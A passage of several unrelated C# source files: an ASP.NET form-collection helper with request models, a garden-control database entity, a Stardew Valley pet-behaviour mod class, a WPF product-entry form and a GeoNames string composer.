Path.Combine($"{hostingEnvironment.ContentRootPath}", "StaticSource", "Images", "a.jpg"); var stream = System.IO.File.OpenRead(path); var formFile = new FormFile(stream, 0, stream.Length, "myFile", "test.jpg"); //formFile.ContentType = "image/jpg";//bug 设置会抛异常 formFiles.Add(formFile);//无效 FormCollection form = new FormCollection(new Dictionary<string, Microsoft.Extensions.Primitives.StringValues>() { { "key1","测试1"}, { "key2","测试2"}, { "key3","测试3"}, { "key4","测试4"} }, formFiles); return form; } } public class SendSMSRequest { public int Id { get; set; } public string PhoneNum { get; set; } public string Msg { get; set; } public string Cookie { get; set; } } public class Product { public long Id { get; set; } public string Name { get; set; } public double Price { get; set; } public string Description { get; set; } } }
using GardenControlCore.Enums; using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Text; namespace GardenControlRepositories.Entities { [Table("ControlDevice")] public class ControlDeviceEntity { [Key] [DatabaseGenerated(DatabaseGeneratedOption.Identity)] public int ControlDeviceId { get; init; } [Required] public int DeviceTypeId { get; set; } [Required] [MaxLength(255)] public string Alias { get; set; } public string Description { get; set; } public bool IsActive { get; set; } public int? GPIOPinNumber { get; set; } public string SerialNumber { get; set; } public int? DefaultState { get; set; } } }
using System; using System.Collections.Generic; using System.Linq; using System.Reflection; using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Graphics; using Netcode; using StardewModdingAPI; using StardewValley; using StardewValley.Characters; using StardewValley.Locations; // Basically just game code with some AI additions // In the future, much better off rewriting everything // instead of using game code namespace LivelyPets { public class LivelyPet : Pet { public IMonitor Monitor; private readonly NetInt netCurrentBehavior = new NetInt(); private int startedBehavior = -1; private bool wasPetToday; private int pushingTimer; private int skipHorizontal; private bool skipHorizontalUp; private int durationOfRandomMovements = 0; private Farmer activeFarmer= Game1.player; private Vector2 prevFarmerPos; private int proximity = 1; private int pathToFarmerIndex; public List<int> pathToFarmer; public int pathingIndex; public bool isNearFarmer = true; private Vector2 start; public int behaviorTimerMax = 20; public int commandBehaviorTimer; public string commandBehavior { get; set; } private int closenessLevel; private int obedienceLevel; public int CurrentBehavior { get { if (this.isMoving() && commandBehavior == null) return 0; return (int)((NetFieldBase<int, NetInt>)this.netCurrentBehavior); } set { this.netCurrentBehavior.Value = value; } } protected override void initNetFields() { base.initNetFields(); this.NetFields.AddFields((INetSerializable)this.netCurrentBehavior); } public void resetCurrentBehavior() { //Sprite.StopAnimation(); //Halt(); } public virtual void setCommandBehavior() { resetCurrentBehavior(); commandBehaviorTimer = behaviorTimerMax; } public override void behaviorOnFarmerLocationEntry(GameLocation location, Farmer who) { if ((location is Farm || location is FarmHouse && this.CurrentBehavior != 1) && Game1.timeOfDay >= 2000) { if (this.CurrentBehavior == 1 && !(this.currentLocation is Farm)) return; this.warpToFarmHouse(who); } else { if (Game1.timeOfDay >= 2000 || Game1.random.NextDouble() >= 0.5) return; this.CurrentBehavior = 1; } } public override bool canTalk() { return false; } public override void reloadSprite() { this.DefaultPosition = new Vector2(54f, 8f) * 64f; this.HideShadow = true; this.Breather = false; this.setAtFarmPosition(); } public void warpToFarmHouse(Farmer who) { FarmHouse homeOfFarmer = Utility.getHomeOfFarmer(who); Vector2 vector2 = Vector2.Zero; int num = 0; for (vector2 = new Vector2((float)Game1.random.Next(2, homeOfFarmer.map.Layers[0].LayerWidth - 3), (float)Game1.random.Next(3, homeOfFarmer.map.Layers[0].LayerHeight - 5)); num < 50 && (!homeOfFarmer.isTileLocationTotallyClearAndPlaceable(vector2) || !homeOfFarmer.isTileLocationTotallyClearAndPlaceable(vector2 + new Vector2(1f, 0.0f)) || homeOfFarmer.isTileOnWall((int)vector2.X, (int)vector2.Y)); ++num) vector2 = new Vector2((float)Game1.random.Next(2, homeOfFarmer.map.Layers[0].LayerWidth - 3), (float)Game1.random.Next(3, homeOfFarmer.map.Layers[0].LayerHeight - 4)); if (num >= 50) return; Game1.warpCharacter((NPC)this, "FarmHouse", vector2); this.CurrentBehavior = 1; this.initiateCurrentBehavior(); } public override void dayUpdate(int dayOfMonth) { this.DefaultPosition = new Vector2(54f, 8f) * 64f; this.Sprite.loop = false; this.Breather = false; if (Game1.isRaining) { this.CurrentBehavior = 2; if (this.currentLocation is Farm) this.warpToFarmHouse(Game1.player); } else if (this.currentLocation is FarmHouse) this.setAtFarmPosition(); if (this.currentLocation is Farm) { if (this.currentLocation.getTileIndexAt(54, 7, "Buildings") == 1939) this.friendshipTowardFarmer = Math.Min(1000, this.friendshipTowardFarmer + 6); this.currentLocation.setMapTileIndex(54, 7, 1938, "Buildings", 0); this.setTilePosition(54, 8); this.position.X -= 64f; } this.Halt(); this.CurrentBehavior = 1; this.wasPetToday = false; } public void setAtFarmPosition() { bool flag = this.currentLocation is Farm; if (Game1.isRaining) return; this.faceDirection(2); Game1.warpCharacter((NPC)this, "Farm", new Vector2(54f, 8f)); this.position.X -= 64f; } public void warpToFarmer() { var farmerPos = activeFarmer.getTileLocation(); var warpPos = farmerPos; switch (activeFarmer.FacingDirection) { case 0: // Check right if (activeFarmer.currentLocation.isCollidingPosition( new Rectangle((int) (farmerPos.X+1)*Game1.tileSize, (int) farmerPos.Y * Game1.tileSize, 64, 64), Game1.viewport, this)) { warpPos.X++; } else { warpPos.X--; } break; case 1: // Check down if (activeFarmer.currentLocation.isCollidingPosition( new Rectangle((int)farmerPos.X * Game1.tileSize, (int)(farmerPos.Y+1)*Game1.tileSize, 64, 64), Game1.viewport, this)) { warpPos.Y++; } else { warpPos.Y--; } break; case 2: // Check right if (activeFarmer.currentLocation.isCollidingPosition( new Rectangle((int)(farmerPos.X + 1) * Game1.tileSize, (int)farmerPos.Y * Game1.tileSize, 64, 64), Game1.viewport, this)) { warpPos.X++; } else { warpPos.X--; } break; case 3: // Check down if (activeFarmer.currentLocation.isCollidingPosition( new Rectangle((int)farmerPos.X * Game1.tileSize, (int)(farmerPos.Y + 1) * Game1.tileSize, 64, 64), Game1.viewport, this)) { warpPos.Y++; } else { warpPos.Y--; } break; } this.faceDirection(activeFarmer.FacingDirection); Game1.warpCharacter((NPC)this, activeFarmer.currentLocation.Name, warpPos); } public override bool shouldCollideWithBuildingLayer(GameLocation location) { return true; } public override bool canPassThroughActionTiles() { return false; } public override bool checkAction(Farmer who, GameLocation l) { if (this.wasPetToday) return false; this.wasPetToday = true; this.friendshipTowardFarmer = Math.Min(1000, this.friendshipTowardFarmer + 12); if (this.friendshipTowardFarmer >= 1000 && who != null && !who.mailReceived.Contains("petLoveMessage")) { Game1.showGlobalMessage(Game1.content.LoadString("Strings\\Characters:PetLovesYou", (object)this.displayName)); who.mailReceived.Add("petLoveMessage"); } this.doEmote(20, true); this.playContentSound(); return true; } public virtual void playContentSound() { } public void hold(Farmer who) { this.flip = this.Sprite.CurrentAnimation.Last<FarmerSprite.AnimationFrame>().flip; this.Sprite.currentFrame = this.Sprite.CurrentAnimation.Last<FarmerSprite.AnimationFrame>().frame; this.Sprite.CurrentAnimation = (List<FarmerSprite.AnimationFrame>)null; this.Sprite.loop = false; } public override void behaviorOnFarmerPushing() { if (this is LivelyDog && (this as LivelyDog).CurrentBehavior == 51) return; this.pushingTimer += 2; if (this.pushingTimer <= 100) return; Vector2 playerTrajectory = Utility.getAwayFromPlayerTrajectory(this.GetBoundingBox(), Game1.player); this.setTrajectory((int)playerTrajectory.X / 2, (int)playerTrajectory.Y / 2); this.pushingTimer = 0; this.Halt(); this.facePlayer(Game1.player); this.FacingDirection += 2; this.FacingDirection %= 4; this.faceDirection(this.FacingDirection); this.CurrentBehavior = 0; } public override void update(GameTime time, GameLocation location, long id, bool move) { /* if (startedBehavior == -1) { base.update(time, location, id, move); return; } */ if (!isNearFarmer) { //Halt(); //Sprite.StopAnimation(); moveTowardFarmer(Game1.player, location, time); } else { if (startedBehavior != CurrentBehavior) { initiateCurrentBehavior(); } } pushingTimer = Math.Max(0, pushingTimer - 1); } private void moveTowardFarmer(Farmer farmer, GameLocation location, GameTime time) { if (pathToFarmer == null) return; if (pathingIndex < pathToFarmer.Count) { switch (pathToFarmer[pathingIndex]) { case 0: this.SetMovingOnlyUp(); break; case 1: this.SetMovingOnlyRight(); break; case 2: this.SetMovingOnlyDown(); break; case 3: this.SetMovingOnlyLeft(); break; default: break; } MoveAlongPath(time, Game1.viewport); } } public void MoveAlongPath(GameTime time, xTile.Dimensions.Rectangle viewport) { Speed = 4; willDestroyObjectsUnderfoot = false; TimeSpan elapsedGameTime; var step = speed + addedSpeed; if (xVelocity != 0f || yVelocity != 0f) { applyVelocity(currentLocation); } else if (moveUp) { if ((Position.Y % 64 != 0) && position.Y - step < (int) Math.Floor(Position.Y / Game1.tileSize) * Game1.tileSize) { step = (int)(Math.Floor(Position.Y / Game1.tileSize) * Game1.tileSize - Position.Y); pathingIndex++; } position.Y -= step; if (!ignoreMovementAnimation) { Sprite.AnimateUp(time, (speed - 2 + addedSpeed) * -25, Utility.isOnScreen(getTileLocationPoint(), 1, currentLocation) ? "Cowboy_Footstep" : ""); faceDirection(0); } } else if (moveRight) { if ((Position.X % 64 != 0) && position.X + step > (int)Math.Ceiling(Position.X / Game1.tileSize) * Game1.tileSize) { step = (int)(Math.Ceiling(Position.X / Game1.tileSize) * Game1.tileSize - Position.X); pathingIndex++; } position.X += step; if (!ignoreMovementAnimation) { Sprite.AnimateRight(time, (speed - 2 + addedSpeed) * -25, Utility.isOnScreen(getTileLocationPoint(), 1, currentLocation) ? "Cowboy_Footstep" : ""); faceDirection(1); } } else if (moveDown) { if ((Position.Y % 64 != 0) && position.Y + step > (int)Math.Ceiling(Position.Y / Game1.tileSize) * Game1.tileSize) { step = (int)(Math.Ceiling(Position.Y / Game1.tileSize) * Game1.tileSize - Position.Y); pathingIndex++; } position.Y += step; if (!ignoreMovementAnimation) { Sprite.AnimateDown(time, (speed - 2 + addedSpeed) * -25, Utility.isOnScreen(getTileLocationPoint(), 1, currentLocation) ? "Cowboy_Footstep" : ""); faceDirection(2); } } else if (moveLeft) { if ((Position.X % 64 != 0) && position.X - step < (int)Math.Floor(Position.X / Game1.tileSize) * Game1.tileSize) { step = (int)(Math.Floor(Position.X / Game1.tileSize) * Game1.tileSize - Position.X); pathingIndex++; } position.X -= step; if (!ignoreMovementAnimation) { Sprite.AnimateLeft(time, (speed - 2 + addedSpeed) * -25, Utility.isOnScreen(getTileLocationPoint(), 1, currentLocation) ? "Cowboy_Footstep" : ""); faceDirection(3); } } else { Sprite.animateOnce(time); } if (blockedInterval >= 3000 && (float)blockedInterval <= 3750f && !Game1.eventUp) { doEmote((Game1.random.NextDouble() < 0.5) ? 8 : 40, true); blockedInterval = 3750; } else if (blockedInterval >= 5000) { speed = 4; isCharging = true; blockedInterval = 0; } } public void UpdatePathToFarmer() { isNearFarmer = (getTileX() - activeFarmer.getTileX()) * (getTileX() - activeFarmer.getTileX()) + (getTileY() - activeFarmer.getTileY()) * (getTileY() - activeFarmer.getTileY()) < proximity * proximity; if (isNearFarmer || currentLocation != activeFarmer.currentLocation) return; if (prevFarmerPos == activeFarmer.getTileLocation()) return; prevFarmerPos = activeFarmer.getTileLocation(); pathingIndex = 0; Vector2 tile = activeFarmer.getTileLocation(); // Get nearest tile adjacent to farmer if (activeFarmer.getTileX() < getTileX()) { if (!currentLocation.isCollidingPosition(activeFarmer.nextPosition(3), Game1.viewport, false, 0, false, this)) { tile = new Vector2(activeFarmer.nextPosition(3).X/Game1.tileSize, activeFarmer.nextPosition(3).Y / Game1.tileSize); } } else { if (!currentLocation.isCollidingPosition(activeFarmer.nextPosition(1), Game1.viewport, false, 0, false, this)) { tile = new Vector2(activeFarmer.nextPosition(1).X / Game1.tileSize, activeFarmer.nextPosition(1).Y / Game1.tileSize); } } if (activeFarmer.getTileY() < getTileY()) { if (!currentLocation.isCollidingPosition(activeFarmer.nextPosition(2), Game1.viewport, false, 0, false, this)) { tile = new Vector2(activeFarmer.nextPosition(2).X / Game1.tileSize, activeFarmer.nextPosition(2).Y / Game1.tileSize); } } else { if (!currentLocation.isCollidingPosition(activeFarmer.nextPosition(0), Game1.viewport, false, 0, false, this)) { tile = new Vector2(activeFarmer.nextPosition(0).X / Game1.tileSize, activeFarmer.nextPosition(0).Y / Game1.tileSize); } } start = getStandingPosition(); pathToFarmer = ModUtil.GetPath(currentLocation, new Vector2((int)Math.Ceiling(Position.X/Game1.tileSize), (int)Math.Ceiling(Position.Y/Game1.tileSize)), new Vector2((int)Math.Ceiling(activeFarmer.Position.X / Game1.tileSize), (int)Math.Ceiling(activeFarmer.Position.Y / Game1.tileSize)), this); } protected override void updateSlaveAnimation(GameTime time) { } public virtual void initiateCurrentBehavior() { this.flip = false; bool flip1 = false; switch (this.CurrentBehavior) { case 0: this.Halt(); this.faceDirection(Game1.random.Next(4)); if (Game1.IsMasterGame) { this.setMovingInFacingDirection(); break; } break; case 1: this.Sprite.loop = true; bool flip2 = Game1.random.NextDouble() < 0.5; this.Sprite.setCurrentAnimation(new List<FarmerSprite.AnimationFrame>() { new FarmerSprite.AnimationFrame(28, 1000, false, flip2, (AnimatedSprite.endOfAnimationBehavior)null, false), new FarmerSprite.AnimationFrame(29, 1000, false, flip2, (AnimatedSprite.endOfAnimationBehavior)null, false) }); break; case 2: this.Sprite.setCurrentAnimation(new List<FarmerSprite.AnimationFrame>() { new FarmerSprite.AnimationFrame(16, 100, false, flip1, (AnimatedSprite.endOfAnimationBehavior)null, false), new FarmerSprite.AnimationFrame(17, 100, false, flip1, (AnimatedSprite.endOfAnimationBehavior)null, false), new FarmerSprite.AnimationFrame(18, 100, false, flip1, new AnimatedSprite.endOfAnimationBehavior(this.hold), false) }); break; } this.startedBehavior = this.CurrentBehavior; } public override Rectangle GetBoundingBox() { return new Rectangle((int)this.Position.X+16, (int)this.Position.Y+16, 32, 32); } public override void draw(SpriteBatch b) { base.draw(b); if (!this.IsEmoting) return; Vector2 localPosition = this.getLocalPosition(Game1.viewport); localPosition.X += 32f; localPosition.Y -= (float)(96 + (this is Dog ? 16 : 0)); b.Draw(Game1.emoteSpriteSheet, localPosition, new Rectangle?(new Rectangle(this.CurrentEmoteIndex * 16 % Game1.emoteSpriteSheet.Width, this.CurrentEmoteIndex * 16 / Game1.emoteSpriteSheet.Width * 16, 16, 16)), Color.White, 0.0f, Vector2.Zero, 4f, SpriteEffects.None, (float)((double)this.getStandingY() / 10000.0 + 9.99999974737875E-05)); } } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Shapes; namespace iGarson_App { /// <summary> /// Interaction logic for AddProduce_Form.xaml /// </summary> public partial class AddProduce_Form : Window { public AddProduce_Form() { InitializeComponent(); } private void exit_Click(object sender, RoutedEventArgs e) { this.Hide(); } private void topHead_MouseDown(object sender, MouseButtonEventArgs e) { if (e.ChangedButton == MouseButton.Left) this.DragMove(); } private void Price_PreviewTextInput(object sender, TextCompositionEventArgs e) { e.Handled = !IsValid(((TextBox)sender).Text + e.Text); } public static bool IsValid(string str) { int i; return int.TryParse(str, out i) && i >= 0 && i <= 100000000; } } }
using NGeoNames.Entities; namespace NGeoNames.Composers { /// <summary> /// Provides methods for composing a string representing an <see cref="Admin2Code"/>. /// </summary> public class Admin2CodeComposer : BaseComposer<Admin2Code> { /// <summary> /// Composes the specified <see cref="Admin2Code"/> into a string. /// </summary> /// <param name="value">The <see cref="Admin2Code"/> to be composed into a string.</param> /// <returns>A string representing the specified <see cref="Admin2Code"/>.</returns> public override string Compose(Admin2Code value) { return string.Join(this.FieldSeparator.ToString(), value.Code, value.Name, value.NameASCII, value.GeoNameId); } } }